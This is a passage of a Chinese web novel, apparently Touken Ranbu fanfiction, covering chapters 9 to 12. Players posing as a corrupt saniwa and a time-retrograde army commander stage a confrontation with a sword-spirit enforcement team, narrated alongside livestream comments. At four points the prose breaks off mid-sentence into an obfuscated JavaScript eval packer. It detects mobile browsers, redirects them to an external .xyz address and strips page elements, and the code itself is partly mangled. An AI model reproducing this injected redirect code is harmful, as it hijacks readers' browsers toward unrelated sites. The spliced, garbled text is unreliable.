狮子王和崛川国广也压下疑虑,点头致谢,小夜和今剑自然没有异议。 “哈哈,不叨扰不叨扰!”【雀隐】心中狂喜,脸上笑得见牙不见眼,仿佛捡到了天大的便宜,“来来来,这边请!我先带各位去客房!” 他殷勤地在前面引路,步伐轻快,仿佛卸下了什么重担。 【雀隐】:兄弟,来玩吧!我刚白捡了一队付丧神,成功把他们留下来了,虽然是别人家的,但是都是髭切膝丸,玩起来一样带劲! 【就这个战斗爽】:哦哦哦!好兄弟我明天就把小乌带来玩!博多竖大拇指jpg. 一场各怀鬼胎的做客,在这个诡异的本丸中悄然拉开序幕。 9. 第九章 【雀隐】领着六人穿过空荡荡的回廊,脚步声在寂静中格外清晰。 他推开一扇纸门,露出里面整洁的客房:"各位请随意休息,我去准备些茶点还有生活用品。" 门刚关上,髭切就示意今剑去门口望风。 狮子王立刻检查房间各个角落,压低声音说:"这房间太干净了,像是很久没人用过。" 膝丸凑近兄长:"兄长,我闻到一股奇怪的味道,像是......" "血的味道。"髭切轻声接话,金色的眼睛扫过室内的布置,伸手调整了一下歪掉的直播设备。 突然,纸门被轻轻敲响,小夜左文字立刻警觉地看向门口,今剑已经悄悄摸到了门边。 门缝里塞进来一张皱巴巴的纸条。堀川国广迅速捡起展开,上面歪歪扭扭地写着:"警慎,他会监视你们。" 狮子王倒吸一口冷气,正要说话,却被髭切抬手制止。 膝丸迅速拿走纸条,藏进外套内层的暗袋中,用极低的声音说:"我们得想办法接触这里的刀剑。" 这时,纸门又被轻轻推开一条缝。一只布满血丝的眼睛出现在缝隙中,颤抖的声音几乎微不可闻:"快......逃......" 堀川国广迅速靠近门缝:"你是谁?发生什么事了?" "他......把大家都......关起来了......要......转化......" 声音断断续续。 [花蝶自飘舞]:我的颈椎病终于治好了,谢谢你髭切 [呔小时]:卧槽卧槽,刚刚门缝里露出一只红色的眼睛真的好渗人!这是谁的眼睛?回想了一遍红眼睛的刀都没对上号,是不是红得不正常? [清光清光我们稀饭你]:那个绝对是清光的声音!我婚刀是清光,化成灰我都听得出来是他的声音! 小夜左文字突然拽了拽膝丸的袖子,指向窗外。透过薄薄的窗纸,隐约可见几个黑影在庭院里游荡。 髭切轻轻点头,假装大声说:"那个......嗯,待会要一起去洗澡吗?"同时用指尖在桌面上写下:"拖延时间。" “是膝丸,好的兄长,等洗漱用品送来我们就可以去了。” 狮子王会意,故意提高声音:"我也要去!在外面摸爬打滚这么久,身上都脏兮兮的了!" “时......” 眼睛的主人还想说些什么,眼睛却突然惊恐地睁大,随即消失不见。几乎同时,走廊上传来【雀隐】轻快的脚步声:"各位久等了!" 纸门被拉开,【雀隐】端着托盘站在门口,身旁站着一振压切长谷部提着大包小包的生活用品:"怎么样?这个房间还好吗?" 髭切微笑着接过茶杯:"环境相当不错哦,多谢。" [曲奇冰淇淋]:绝对有问题!这个审神者袖口有血渍!我截图放大发现的! [三月樱]:急死我了,时政能不能找到这个本丸坐标啊,我怕执法队呆久了也遭渣审毒手。 [零]:别着急,执法队的付丧神战力和身上的防护装备都是顶配,灵力也是由本灵单独供给的,优先级很高,渣审想对他们动手还得掂量掂量自己那点灵力能不能斗得过本灵。 [源氏骨科赛高]:弟弟丸贴贴!你们要小心啊QAQ 小夜左文字也注意到【雀隐】的袖口沾着一点暗红色的痕迹,眼神一凛。 “被褥什么的都在橱柜里,没有人用过,可以放心使用。”【雀隐】笑容满面地盘腿坐下,搞事的心蠢蠢欲动,“事实上,各位来得很巧呢?” 狮子王:“为什么?” “明天有朋友会带着近侍来做客,你们......”【雀隐】颇有深意的眼神缓缓扫过髭切、膝丸、狮子王还有今剑,“说不定会认识?那位刀剑男士和源家颇有缘分,这里这么多源氏的刀,明天可以好好见见呢。” “是谁?”今剑和狮子王同时发问。 “是义经公的刀吗?”今剑思考,他的记忆中有绝大部分都是跟随源义经的经历,并没有见过多少刀,但他经历过极化修行,知道自己是一把不曾存在的刀,所以也摸不准自己的记忆是否和真正的历史有所出入,“想不到啊!” 狮子王则想得更多一点,他一边寻思着已实装且出自源氏的刀有哪些,又觉得此人的话似乎别有深意。 “秘——密——”【雀隐】朝他们眨眨眼,“提前告诉你们就不有趣了。” “哦?”髭切端起茶杯,饶有兴致地微微歪头,金色的猫眼看向【雀隐】,唇边的笑意更深了些,“那我们就期待着了。” 膝丸正不动声色地观察着站在【雀隐】身后的压切长谷部。 这位长谷部身形笔挺,提着大包小包站得规规矩矩,但那双紫瞳却空洞异常,没有一丝光采,如同木偶,不过没有暗堕的气息,看起来还在正常付丧神的范围内。 他悄悄打量片刻便收回目光。 【雀隐】满意地点点头,嘿嘿,把惊喜(惊吓)铺垫好了,真想立马快进到明天。 “各位先休息,走廊尽头有浴室可以梳洗。晚些时候再来叨扰各位用餐。” 他起身,示意长谷部放下东西。 长谷部像个设定好程序的机器人,依言放下物品,然后沉默地跟着【雀隐】离开了房间。 门一合上,房内的空气瞬间凝重起来。小夜左文字第一时间无声地移到门边,耳朵贴在纸门上仔细听着外面的动静,直到脚步声完全消失。 堀川国广立刻压低声音:“那个压切长谷部不对劲,像被控制住了。” 他一边说,一边迅速检查着长谷部留下的物品——干净的毛巾、新的牙刷、洗漱用品,一应俱全,都是崭新的。 狮子王烦躁地抓了抓头发:“这家伙到底想干什么?那个他说的‘朋友’,会不会也是......” “八九不离十。”今剑接话,“啊啊为什么要这么吊人胃口,到底是谁啊把那个近侍说得那么神秘。” 堀川国广:“他既然这么说,那么一定是把我们很难猜测到的刀。” 顿了一下。 “也许我们还可以猜测一下还未实装的刀剑。” “还未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795918|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实装的刀剑?”膝丸捏着下巴,严肃地思考,“政府放出通告却还未实装的刀剑......与源氏有关......似乎只有一振。” “啊!是那个......那个......孩子切?” 髭切一手摊开,一手作锤撞,锤了一下手掌心。 [小乌重度依赖]:是童子切安纲啦阿尼甲!! [铃儿响叮当]:啊啊啊渣审还要带人来?!刚好撞上渣审聚会了是吧。 [长义被被单]:我感觉背脊发凉......那个长谷部眼神太可怕了,完全不像活人。 [清光清光我们稀饭你]:呜呜呜我家清光呢?刚才的声音真的是他吗?他现在怎么样了?QAQ [苏月]:啊不是?不可能!童子切安纲的本灵应该好好地和其它本灵们待在一起,审神者怎么可能有?时政呢?快去看看本灵啊! [时之政府官方]:已查看,童子切安纲大人无事,还在为分灵做准备。 [鹤白]:好了放心了,所以还能是谁? [姚]:不道啊这也不多给点提示,明天就能知道了。 [源氏骨科赛高]:哥哥切弟弟丸稳住!还有小夜今剑堀川狮子王!求求你们一定要平安! “是童子切安纲兄长!” “哦哦......对就是这个。”髭切恍然点头,两鬓微卷的发丝随着他的动作duangduang地弹动了两下,“弟弟......脏脏丸,去洗澡了。” “是膝丸......好的。”膝丸条件反射地纠正称呼,麻了,认命地起身和堀川国广一起麻利地将各自的物品分好,大家抱起各自的物品前去洗漱。 ...... 第二天清晨,阳光透过窗纸洒进房间,但丝毫驱散不了笼罩在执法队成员心头的凝重。 他们早已起身,穿戴整齐,表面上平静地等待着【雀隐】所说“见面”。 “不要紧张,等一下你顺着我的指令来演就好了,不说话也行,我们可以帮你。” 【就这个战斗爽】知道小乌是个大社恐,所以很贴心地揽过了剧本大权,保证安排妥帖。 “好。” 小乌点点头,不太适应地想伸手摸摸脖子上多出来的choker,但是又把手放下了。 绷带外面多套了一只chock,里面藏着【雀隐】提供给的游戏道具,权限连接【就这个战斗爽】。 当小乌打开权限时,【就这个战斗爽】可以通过这个道具来操控他,小乌可以也随时关闭权限。 【雀隐】早就在门口等着了,他迎上来,和两人面对面建了三人群聊。 【雀隐】:歪歪? 【就这个战斗爽】:1111 【小乌】:1111 【雀隐】:ok家人们!待会我们来玩点刺激的,桀桀桀! 【就这个战斗爽】:桀桀桀桀桀桀! 【小乌】:你们笑得这么邪恶我感觉好慌。 【就这个战斗爽】和【雀隐】不语,一味看着小乌邪笑。 小乌:。 10. 第十章 执法队成员随着压切长谷部的引导来到会客室,等待着。 忽然走廊外传来了一阵脚步声,其中一道明显不同于之前【雀隐】的轻快,踏在木质回廊上的每一步都会使地板发出不堪重负的呻吟。 令人不安。 紧接着是【雀隐】略显激动的声音:“来了来了!快请进!” 纸门被大力拉开,【雀隐】笑容满面地站在门口,然后恭敬地侧身让开。 覆盖着漆黑狰狞骨甲的时间溯行军映入眼帘的瞬间,执法队成员们瞳孔骤缩,心脏仿佛被一只冰冷的手攥紧。 面前这只的时间溯行军,明显不同于平常出阵见到的那些,等级非常高。 执法队成员们开始意识到事情并没有想得那么简单。 时之政府虽然出过大大小小的虐待刀剑事件,但是在政府人员的努力,和本灵的帮助下,从未出过不可挽回,灭绝人性的重大恶性案件。 审神者与历史修正主义勾结......这还是头一例。 [苦茶子]:!!!时间溯行军??? [五月杏]:卧槽!这个渣审还勾结溯行军?!他疯了吗?! [清光清光我们稀饭你]:我的妈呀! [源氏骨科赛高]:啊啊啊大家小心!!! 【就这个战斗爽】那双幽绿色的双眼毫无感情地扫过房间内的执法队付丧神们,喉咙里发出低沉的嘶鸣:“满级极化刀,质量不错,这是你给我预备的新货?” 它巨大的头颅转向【雀隐】,骨甲摩擦发出令人牙酸的声响。 【雀隐】脸上的笑容依旧灿烂,甚至带上了几分谄媚:“指挥官好眼力!这可是自己送上门来的好货。” 他迈步走进房间,眼神像是在评估精美的瓷器,“三振太刀,一振胁差,两振短刀。啧啧,都是上等品啊!” 【就这个战斗爽】:“胁差......我不需要,给我换成枪。” “哎呀哎呀,先别急,胁差我就当是赠品,现在的重点是......源氏重宝。” 【雀隐】抬手用宽大的袖子遮掩表情,只露出一双狡诈的双眼:“我想着您今天要带他来,正好可以让他和两位源氏重宝上演一场好戏呢。” 同时在私聊小群里骂骂咧咧。 【雀隐】:?你还给我挑上了是吧,胁差和枪爹那能是一个价? 【就这个战斗爽】:略略略~ 他们两个就这么光明正大地站在付丧神面前评判他们的价值,仿佛在计算价值,充满了赤裸裸的轻蔑。 狮子王气得浑身发抖,牙齿咬得咯咯作响:“混账!把刀剑付丧神当货物吗?!” “货物?你们可比普通货物值钱多了。” 【雀隐】嗤笑一声,无视了众人几乎要喷火的眼神,看向隐藏在溯行军巨大身躯身后阴影里、异常沉默的小乌。 “哦,差点忘了介绍另一位重要的‘主演’——我的这位客人带来了他的‘收藏’,昨天就说要让你们见见了呢,不出来吗?” 随着他的声音,小乌缓缓从【就这个战斗爽】的身后挪了一小步。 他依旧穿着那身黑红色军装,长发柔顺地垂着,脸色苍白得近乎透明,身体紧绷,纤细的手指死死抠着衣袖的边缘,骨节用力到发白。 那只扣在纤细脖颈上的、镌刻着不祥咒文的黑色choker在白色绷带的衬托下显得格外刺眼。 小乌微低着头,暗色的眼眸藏在睫毛的阴影里,不敢与任何人——尤其是源氏兄弟对视。 镜头清晰地捕捉到了他的侧脸和身形,观众瞬间炸锅。 [花蝶自飘舞]:卧槽!!!这这这......这脸?!我疯了还是眼花了?!瞳孔地震 jpg. [源氏骨科赛高]:啊啊啊啊啊!!!!我的天!!这张脸!!!!源氏重宝还有兄弟吗?这谁?? [姚]:我靠靠靠!!这什么情况?!新刀?!这脸???跟源氏兄弟也太像了吧!!是像膝丸还是像髭切?! [清光清光我们稀饭你]:这孩子脸好小,感觉未成年的样子? [苏月]:家人们我拿去一个个问源家刀都说不认识,只有髭切有反应,似乎有猜测但是很不确定,也不告诉我他猜的是谁。 [苦茶子]:脖子上的项圈刻了什么? [零]:[放大图.jpg] [长义被被单]:你们看那把刀!!我的妈!!是不是和髭切的本体几乎一样?! [呔小时]:不会是时溯还仿制髭切的本体吧!还造了个付丧神出来?这什么惊天技术力?!时政知道这事吗?! [鹤白]:人造付丧神? [曲奇冰淇淋]:楼上别乱猜,看现场!膝丸殿和髭切殿看起来也挺惊讶的,哥哥切都不笑了,眼神有点可怕。 【就这个战斗爽】:兄弟兄弟,你很冷吗?咋还发抖了 【小乌】:我我我我我、我好像有点、点髭切过敏...... 【小乌】:大哭 jpg. 【就这个战斗爽】:这么入戏?其实不用在私聊演的。 【雀隐】:我们受过专业的训练,是绝对不会笑的! 【雀隐】:警官大笑 jpg. 【小乌】:我没......啊啊啊补药推我! 髭切和膝丸的呼吸猛然停滞。 髭切脸上那点惯常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795919|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、仿佛置身事外的温吞笑意如同褪潮般消失得无影无踪,似小憩的雄狮骤然清醒,眼神锐利得如同出鞘的刀锋。 膝丸的反应则剧烈得多。 在小乌的脸庞在视线中逐渐清晰的瞬间,他全身猛地一震,金瞳因为极度震惊而骤然缩紧。 那张脸的轮廓、眉眼......与他和兄长有七八分相似,并且比起他自己相对锋锐的五官,更加偏向于髭切的柔和。 看起来和髭切关系匪浅,但他非常、非常确定这不是他记忆中见过的任何一振源氏刀! 源氏重宝,一具两振,他也不曾记得他们还有过能够如此相像的兄弟...... 随即,他立刻注意到了兄长髭切那从未有过的、近乎凝固的眼神。 他顺着髭切的视线猛地聚焦到小乌腰间那把佩刀上,他的目光在自己兄长腰间的本体和小乌腰间的太刀上来回扫视了两次—— 一股混合着荒谬、愠怒的情感开始冲击了他的理智。 这种程度的相似绝不是偶然! 难道是历史修正主义者想通过仿制源氏重宝对历史产生什么危害吗? 居然胆敢模仿兄长制造赝品?! 不不不,虽然有可能,但是说不通。 若历史修正主义有仿制刀剑并且人工制造付丧神的能力,时之政府怕是早就被击败,化作历史中不为人知的尘埃了。 髭切内心也有些惊疑不定,表面上却只维持着一贯的淡漠,带着一丝恰到好处的困惑开口:“哦呀?” 他的语气轻柔得像是在自语:“这可真是奇妙,看起来有点眼熟,但实在认不出是源氏的哪位后辈呢。” 他的措辞回避了任何具体的身份指涉,像是无形的试探。 “连自己的仿刀都认不出来?还是说在装傻呢?” 【雀隐】走到小乌身边,伸手看似随意地揽住他瘦削的肩膀,实则带着不容抗拒的力道将他往前推了推。 “看看这张脸,这双眼睛,是不是感觉非常亲切?”他恶意地将视线投向面露震惊的的膝丸,“特别是对你,膝丸殿下,这个孩子啊,似乎对自己的‘身份’和‘位置’感到非常苦恼呢。” 兄长的仿刀?! 看到小乌被【雀隐】粗暴推搡时身体明显一颤的可怜模样,愤怒和得知这名付丧神是兄长仿刀后产生的一丝保护欲同时爆发:“喂!” 膝丸下意识地向前踏了半步,声音因为震惊和紧张显得有些干涩,但还是伸手扶住了朝他这边倒来的小乌。 与此同时,他听到了面前再次响起的话语:“髭切啊髭切,你的‘友切’之名建立在这个孩子的悲惨之上,看着他,不觉得愧疚吗?” 11. 第十一章 “混账——!!!” 是膝丸在怒吼。 他的兄长,源氏的重宝髭切,是历经无数战役、守护源氏荣光的利刃;他的传说,他的名字,是属于他的荣耀与历史的证明。 现在,竟然有一个如此卑劣的存在,试图用扭曲的逻辑来要挟兄长。 虽然他在“友切”事件发生时并不在兄长身边,不清楚髭切与这名刀剑男士的恩怨究竟如何,但这是他们之间的事,人类无权指手画脚! 膝丸他猛地抽出本体,刀锋直指【雀隐】,杀气腾腾。 他刚刚扶住小乌的手甚至因为极致的愤怒而微微用力,差点把小乌捏得痛哼出来。 “诶——我只是一把刀哦?” 髭切脸上那点仅存的、或许可以被解读为困惑的表情彻底消失了。 他的表情无辜得近乎天真,金色的瞳孔却像两块融化的金液迅速凝结、冷却,最终化为毫无波澜的镜面,清晰地倒映着【雀隐】扭曲的脸庞和小乌颤抖的身影。 为切断了这个孩子而愧疚?髭切的心湖甚至没有一丝波澜。 这种情感真是可笑极了。 他作为一把武器诞生、流传,每一次挥斩,每一次切断,皆为持刀者意志的延伸,是时代浪潮中被动翻卷的残片。 逸闻或许因他而起,但那也是由人来创造、由人来传播,承载的是人类所赋予的意义。 “友切”之名,无论是因斩切了何物、斩断了何人的羁绊,源头皆非他这把冰冷的铁器本身,而是握持他的那只手。 “嘛~” 髭切的语调依旧轻柔,“虽然活得太久,很多东西都记不清了......” 他状似苦恼地微微歪头,手指捻了捻自己奶金色的发梢,“是人也好,屏风也罢......这种事......” 他那双眼淡漠地扫过小乌脖颈上那道刺目的黑色choker,语气平静得像是在陈述一个铁律: “......都不是一把刀能决定的哦。” 就算是他斩切了小乌,但那又怎样呢? 刀刃相向,无关恩怨,只是彼时彼刻持刀者下达了“斩”的指令,他便执行了作为刀的使命。 要求一把刀,去为它斩断过的事物负责,去为那被斩断之物后来又被他人扭曲利用的命运负责;要求一把冰冷的工具背负起本属于持刀者的罪愆 这本身就是一个逻辑无法成立、荒谬绝伦的命题。 他直指【雀隐】逻辑的谬误,将对方精心策划的道德指控轻描淡写地瓦解 直播间的弹幕在髭切这近乎冷酷的话语中疯狂滚动: [镜梨霜]:髭切的仿刀?谁啊我历史不好求科普 [叫鸾]:友切的传闻......只有那把刀了吧,我记得和小乌丸名字特别像。 [书慈]:嘶......‘都不是一把刀能决定’……虽然残酷但真的好有道理,毕竟当时都还只是死物而已。 就在弹幕因【雀隐】刀爆料而彻底陷入历史考据的混乱时,髭切的目光终于彻底落在了这个被他斩断过的存在身上。 那目光不再是审视。 在这一刻,漫长的岁月似乎被短暂地穿透,某些模糊的记忆碎片如同投入死水湖面的石子,激起了微不可察的一圈涟漪。 他的表情依旧平静,只是那非人感十足的金眸中,倒映的身影边缘似乎清晰了那么一点。 髭切没有仔细去看,只是对着那个浅浅靠在膝丸身上的少年,用一种刚刚确认了什么、又带着一丝漫长遗忘后终于找回一点点线索的恍然语气,清晰地、平静地开口: “啊呀......你是小乌,对吧。” 这声音并不响,却如同惊雷般劈开了喧嚣。 [秋蓉]:果然是他...... [叫鸾]:悬着的心终于死了,这振刀不是早就被认定彻底损毁了吗? [语斟]:没有吧,不是说在平氏战败后沉海失踪了吗? [若桐]:天啊天啊!!所以他是......是被阿尼甲亲手斩断的吗?这什么人间惨剧!! [天下六剑最帅]:被折断的刀也能成付丧神? [观立]:这话说的,清光也和小乌一样断过刀尖,那脖子上的绷带是不是也和清光的围巾一样? [长义被被单]:你们看小乌现在的反应,他捂脖子是不是...... “呜......!” 小乌在听到自己名号被点破的瞬间,一声压抑不住的呜咽从他惨白的唇间逸出。 他那双一直躲避着髭切视线的瞳孔骤然收缩成了针尖,仿佛那个名字本身就是一道无形的伤口,此刻被他的本科亲手撕开。 他是小乌,狮子之子的仿刀。 这个认知如同滚烫的烙铁,狠狠烙在了小乌的灵魂深处。 被本科认出的羞耻感以及名字被唤起时所唤醒的、关于折断瞬间的恐惧记忆如同海啸般将他淹没,他甚至能清晰地回忆起那一刻脖颈断裂的剧痛。 他猛地抬手死死捂住自己的脖子——不是紧握choker,而是仿佛那里真有一道正在裂开的、深可见骨的斩痕。 不对......不对! 他只是一个玩家!不是真正的刀剑男士! 小乌身体再也支撑不住,脚下一软,如果不是膝丸反应迅速用力扶住他,他几乎要瘫倒在地。 他的瞳孔涣散,剧烈地颤抖,呼吸急促,整个人濒临彻底崩溃的边缘。 【就这个战斗爽】:膝丸抱起来怎么样?爽吗? 【就这个战斗爽】:老师?兄弟?你咋了? 小乌此时的大脑一片混乱,刀剑小乌的记忆碎片像柄利剑插入他身为玩家的记忆中,似乎想这么将其搅碎。 小群里面消息跳动,其它玩家的消息让他找回了他正在玩游戏的实感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795920|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣扎着逃出了强烈的情感和记忆的冲击。 【小乌】:没事。 【就这个战斗爽】:那我们继续了嗷! “小乌——” “杀了你面前的人!” 【雀隐】的声音如同毒蛇吐信,带着赤裸裸的诱惑和恶意:“只要你杀了膝丸,你就再也不用当替代品了,髭切身边的位置就会是你的,你就是髭切唯一的弟弟了哦。嗯?怎么样?” 在【雀隐】命令小乌杀死膝丸时,弹幕瞬间被愤怒淹没: [秃童不秃]:人渣!!!你他妈凭什么命令他杀膝丸?!源氏重宝只有髭切和膝丸!! [老祖宗能不能进我炉子]:畜生啊啊啊啊!!故意让仿品杀源氏刀。 [我恨早八]:髭切快阻止啊!! [筱雨]:时政呢?!快来救刃啊!!这已经不是一般的恶性事件了,还没办法支援吗? [舜华]:所以这个人渣指的节目是源氏手足的自相残杀? [纯白的雪之爱]:王八羔子我杀杀杀杀杀!!! 小乌身体猛地一颤,瞳孔瞬间收缩,惊恐又茫然地看向【雀隐】。 【雀隐】:你被我们控制了,快去给膝丸一刀! 【小乌】:啊?我吗?jpg. 【小乌】:万一捅出什么事来怎么办? 【就这个战斗爽】:噗。 【雀隐】:噗。 【小乌】:??? 【就这个战斗爽】:我的意思是,尽管捅,人家满级极化刀穿内番服站着给你砍都没事。 【雀隐】:出事了立马抬手入室就完了,上! 好好好! 小乌差点被气笑了。 内涵我数值? 嘿我个暴脾气—— 伴随着着【雀隐】的响指和髭切突变的脸色,小乌拔出本体就库茶给了膝丸狠狠一刀—— 然后膝丸猝不及防地……裂了一个金刀装。 嗯,没碎。 小乌:...... 膝丸听到【雀隐】的命令后,本来脸色阴沉如暴风雨的前夜,金色的蛇瞳中燃烧着愤怒的火焰。 此刻愤怒的表情却戛然而止,有些茫然地摸了摸被捅刺的地方,又看了眼只裂了一条缝的金刀装:“......” 【就这个战斗爽】:哈哈哈哈哈哈哈哈哈! 【就这个战斗爽】:我没笑。 【就这个战斗爽】:哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈! 【雀隐】:嘎嘎嘎嘎嘎嘎嘎嘎嘎! 【小乌】:你们明明一直在笑都没有停过!!! 他奶奶的!笑笑笑!笑个屁! 小乌怒从心起,后牙槽咬得嘎吱响。 突然! 小乌猛地转身,锈红色的瞳孔燃起暴怒的火焰! 他手中的太刀划出一道弧线,刀锋直指【雀隐】的咽喉—— 12. 第十二章 "嘎吱——!!" 【就这个战斗爽】的骨爪以惊人的速度钳制住小乌的手腕,choker上的咒文骤然亮起刺目的红光。 小乌的身体瞬间僵直,刀尖在距离【雀隐】咽喉仅一寸处硬生生停住,刀刃发出不甘的嗡鸣。 [姿芙]:啊啊啊他反抗了! [短刀全肯定]:脖子上那个项圈果然是他们留的后手,执法队能不能拆? [乖巧的小孩子即正义]:溯行军你他妈放手!!让他捅死那个人渣啊!! "啧,不听话的玩具。" "这么有骨气......不如自裁让大家都看看你的骨气!" 小乌喉间溢出痛苦的闷哼。 他的身体已经被【就这个战斗爽】征得同意后接管,手臂不受控制地扭曲回撤,冰冷的刀尖在操控下,竟是直直刺向自己的胸膛。 "住手!" 膝丸暴喝,同时斩出一刀,身影如闪电般切入,薄荷色的刘海随着动作飞扬,本体太刀狠狠劈在【就这个战斗爽】的骨爪上,火星四溅。 "咔啦——" 骨甲碎裂声响起,小乌踉跄着脱困,单膝跪地,刀尖深深刺入地板支撑身体。 他剧烈喘息着,额发被冷汗浸透,死死盯着自己不受控制颤抖的手。 “那条手臂,我收下了!” 髭切配合出手,刀光化作一道闪电精准斩向【就这个战斗爽】失去骨甲的那只手。 狮子王拔刀紧随其后,从另一个角度攻去,两把太刀寒光交错,左右咬合住【就这个战斗爽】的手腕,暗中发力就要这么把他的手砍下。 崛川国广如毒蛇般刁钻地刺向对方下盘。 小夜左文字的身影瞬间隐没于角落的阴影,下一刻冰冷的刀锋已从诡异的角度递出,与今剑同时进攻,目标直指【雀隐】。 六振付丧神的怒火与刀锋汇聚于此,誓要将眼前操控他人、亵渎刀剑尊严的渣滓彻底斩杀。 【就这个战斗爽】:我嘞个去,这就是满级极化刀吗这么强!救救!救救啊! 【雀隐】:马上马上! 雀隐狼狈地躲开短刀的攻击,当机立断拉出面板召唤本丸的刀剑。 会客室四周的纸门、墙壁在巨响中被轰然撞破。 庭院死寂瞬间被打破。 回廊深处、檐角阴影......无数双猩红眼瞳亮起,扭曲的身影裹挟浓重黑雾涌现。 他们身上的装束污秽褴褛,刀剑本体缠绕着不祥的黑紫气息,这些曾经光芒闪耀的刀剑男士,此刻面容扭曲,眼中只有毁灭的欲望,喉咙里发出野兽般的嘶吼。 加州清光的指甲漆黑尖锐如爪,大和守安定嘴角咧开非人的弧度,蜂须贺虎彻的刀身上流淌着黑泥,压切长谷部的手臂异化成螳螂刀镰、骚速剑的脊骨外露如蜈蚣般...... 全都如同失去理智的凶兽,陷入了疯狂。 这是一支完全丧失理智、被仇恨和暗堕力量支配的军团。 “原来如此!”狮子王瞬间明悟,“转化......你们不仅买卖刀剑,还将刀剑男士转化为时间溯行军?!” “复仇......!”小夜在暗堕刀剑付丧神中看见了江雪左文字和自己同振如同恶鬼般的身影,气得浑身颤抖。 “审神者应该是历史的维护者,你为什么要和历史修正主义者勾结?!”今剑质问。 “勾结?”【雀隐】眨眨眼,“有没有一种可能,我本来就是历史修正主义者的卧底。” “......可恶!” "给我撕碎他们!"【雀隐】狂笑着命令,指向执法队六刃,疯狂涌动的暗堕刀剑立刻响应,如同黑色的潮水,凶狠地扑向付丧神们。 “交给我狮子王吧!” 狮子王太刀横扫,凌厉刀风逼退三振敌短。 堀川国广胁差翻飞如蝶,在敌刀间穿梭:“太慢了!” 他的刀尖精准挑断一振暗堕刀剑关节韧带,后者嘶吼着踉跄跪倒。 小夜左文字每一次突刺都精准贯穿咽喉,溅起的血液沾染他毫无波动的稚嫩脸庞。 今剑凭借极化短刀极致机动,在敌人之间灵巧穿梭。 “看招看招!” 【就这个战斗爽】捂着手,冰冷的视线转向因操控再次被强迫抬起头的小乌,嘴角勾起一个微笑: "怎么?不想对膝丸下手?" "行啊,我改主意了。我也不需要你去杀膝丸了。" 他的声音穿过混乱的厮杀声: "小乌,现在这个局面有利于你,既然不想杀膝丸,那去杀了髭切吧。” “或者,让髭切将你开膛破肚,亲手杀了你这个碍眼的替代品......" 【就这个战斗爽】的笑容恶意满满,如同观赏笼中困兽绝望的挣扎:"随便你们三个之中死一个,我就放你们走,怎么样,是很划算的交易吧?" 话音未落,小乌脖子上的项圈红光再盛。 "啊啊啊——!!" 小乌发出一声凄厉的哀嚎,那声音充满被强行剥夺意志的痛苦。 他瘦削的身体在操控下如同傀儡般被猛地扯起,眼中所有的挣扎、迷茫和痛苦都化作了刻骨的杀意。 小乌很想闭上眼,眼不见为净。 【小乌】:......叫这么大声好丢脸啊! 【就这个战斗爽】:我的剧本很大,你忍一下。 【小乌】:开庭给我带上你的破梗...... 小乌眼神空洞,手臂违背意志地抬起,刀锋化作一道寒光,直刺向被暗堕刀剑牵制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795921|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的髭切心口。 巨大光屏悬浮空中,直播画面因激烈灵力对冲而微微扭曲。 本灵髭切端坐在走廊边,鎏金眼眸静如深潭,唯有搭在茶杯上的指尖无意识收紧,骨节泛白。 膝丸本灵猛地站起,茶盏翻倒,碧绿茶汤在光洁地板上蜿蜒。 “兄长!” 他声音干涩,瞳孔映出屏幕里仿刀刺向兄长分灵的画面——源氏亲族相残的宿命,竟以如此残酷方式再次重现。 “......这种事情,简直就是噩梦......” “不要急躁,担心丸。” “是膝丸兄长......好的。” 三日月宗近坐在旁边慢悠悠地品了口茶,接话:“相信髭切殿自己会处理好的。” 至于是怎么个处理法......了解髭切性格的人想必都心中有数。 他们肯定会优先解救被胁迫的同类,但若真到了无法挽回地步...... 给予小乌一个解脱也不乏是种处理方式。 “比起在这里饮茶,子代们不如亲赴现场探寻线索。” 小乌丸从远处走来,眉头紧锁。 “我和兄长去过一趟了。”膝丸见状连忙解释,“但......那边的分灵感应异常微弱了,似乎有什么力量在阻隔我们的探查,暂时没有什么办法。” 